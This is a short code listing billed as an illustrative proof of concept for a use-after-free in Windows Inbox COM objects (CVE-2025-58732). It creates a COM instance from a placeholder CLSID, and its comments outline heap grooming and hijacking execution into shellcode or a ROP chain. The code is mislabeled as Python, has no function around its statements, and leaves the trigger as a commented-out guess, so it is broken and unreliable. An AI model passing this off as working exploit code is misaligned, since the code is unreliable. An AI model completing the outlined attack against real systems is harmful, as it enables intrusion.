The following code is for security research and authorized testing only.
python
// CVE-2025-58732 - Inbox COM Objects Use After Free
// PoC Concept (Illustrative - for educational purposes only)
// Note: This is a conceptual demonstration of the vulnerability pattern.
#include <windows.h>
#include <objbase.h>
#include <stdio.h>
// Step 1: CoInitialize to initialize COM library
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
printf("[-] Failed to initialize COM library. HRESULT: 0x%lx\n", hr);
return 1;
}
// Step 2: Create an instance of the vulnerable Inbox COM object
// The CLSID below is illustrative; the actual CLSID for the vulnerable
// Inbox COM object should be identified through reverse engineering.
CLSID clsid;
hr = CLSIDFromString(L"{VULNERABLE-INBOX-COM-CLSID}", &clsid);
if (FAILED(hr)) {
printf("[-] Failed to resolve CLSID. HRESULT: 0x%lx\n", hr);
CoUninitialize();
return 1;
}
// Step 3: Get a pointer to the COM object interface
IUnknown* pUnknown = NULL;
hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER,
IID_IUnknown, (void**)&pUnknown);
if (FAILED(hr)) {
printf("[-] Failed to create COM object instance. HRESULT: 0x%lx\n", hr);
CoUninitialize();
return 1;
}
// Step 4: Trigger the Use After Free condition
// Call a method that causes the internal object to be freed prematurely
// while retaining a reference pointer to the freed memory region.
// The specific method call depends on the vulnerable COM interface.
// Example: Call a method that triggers the UAF
// pUnknown->Release(); // Force release of the object
// ... subsequent access to pUnknown triggers use-after-free
// Step 5: After triggering UAF, allocate controlled data in the freed
// memory region (heap spray/grooming) to hijack execution flow.
// Step 6: When the dangling pointer is dereferenced, execution is
// redirected to attacker-controlled code (shellcode/ROP chain).
printf("[+] PoC execution completed.\n");
// Cleanup
pUnknown->Release();
CoUninitialize();
return 0;